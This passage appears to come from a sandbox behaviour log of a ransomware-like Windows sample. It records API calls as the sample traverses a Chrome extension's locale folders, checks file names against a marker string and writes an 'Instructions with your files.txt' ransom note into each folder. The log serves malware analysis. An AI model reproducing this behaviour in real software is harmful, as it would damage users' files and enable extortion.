[0129.540] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841a6fb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841a96c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841a96c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.541] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms\\.") returned 143
[0129.541] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841a6fb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841a96c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841a96c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.541] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms\\..") returned 144
[0129.541] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x841a96c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841a96c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b6ac0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.541] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms\\messages.json") returned 155
[0129.541] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.541] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x841a96c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841a96c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b6ac0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.541] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms\\Instructions with your files.txt") returned 174
[0129.541] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.541] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.542] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.542] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.542] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.542] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.542] CloseHandle (hObject=0x134) returned 1
[0129.543] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.543] GetProcessHeap () returned 0x810000
[0129.543] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.543] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841ae4e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841b0bf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841b0bf0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl", cAlternateFileName="")) returned 1
[0129.543] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl") returned 141
[0129.543] GetProcessHeap () returned 0x810000
[0129.543] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.543] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl\\*") returned 143
[0129.543] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841ae4e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841b0bf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841b0bf0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.544] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl\\.") returned 143
[0129.544] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841ae4e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841b0bf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841b0bf0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.544] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl\\..") returned 144
[0129.544] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x841b0bf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841b0bf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b6ac0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.544] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl\\messages.json") returned 155
[0129.544] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.544] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x841b0bf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841b0bf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b6ac0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.544] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl\\Instructions with your files.txt") returned 174
[0129.544] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.544] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.545] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.545] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.545] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.546] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.546] CloseHandle (hObject=0x134) returned 1
[0129.546] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.546] GetProcessHeap () returned 0x810000
[0129.546] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.546] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841b5a10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841b8120, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841b8120, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="no", cAlternateFileName="")) returned 1
[0129.546] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no") returned 141
[0129.546] GetProcessHeap () returned 0x810000
[0129.546] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.546] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no\\*") returned 143
[0129.546] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841b5a10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841b8120, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841b8120, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.546] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no\\.") returned 143
[0129.546] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841b5a10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841b8120, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841b8120, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.546] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no\\..") returned 144
[0129.546] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x841b8120, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841b8120, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbcc13a00, ftLastWriteTime.dwHighDateTime=0x1d03f5e, nFileSizeHigh=0x0, nFileSizeLow=0xbf, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.546] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no\\messages.json") returned 155
[0129.546] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.546] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x841b8120, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841b8120, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbcc13a00, ftLastWriteTime.dwHighDateTime=0x1d03f5e, nFileSizeHigh=0x0, nFileSizeLow=0xbf, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.546] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no\\Instructions with your files.txt") returned 174
[0129.547] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.547] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.548] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.548] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.548] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.548] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.548] CloseHandle (hObject=0x134) returned 1
[0129.548] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.548] GetProcessHeap () returned 0x810000
[0129.548] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.548] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841bcf40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841bf650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841bf650, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl", cAlternateFileName="")) returned 1
[0129.548] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl") returned 141
[0129.548] GetProcessHeap () returned 0x810000
[0129.548] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.548] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl\\*") returned 143
[0129.548] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841bcf40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841bf650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841bf650, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.549] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl\\.") returned 143
[0129.549] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841bcf40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841bf650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841bf650, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.549] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl\\..") returned 144
[0129.549] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x841bf650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841bf650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b6ac0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd1, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.549] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl\\messages.json") returned 155
[0129.549] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.549] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x841bf650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841bf650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b6ac0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd1, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.549] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl\\Instructions with your files.txt") returned 174
[0129.550] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
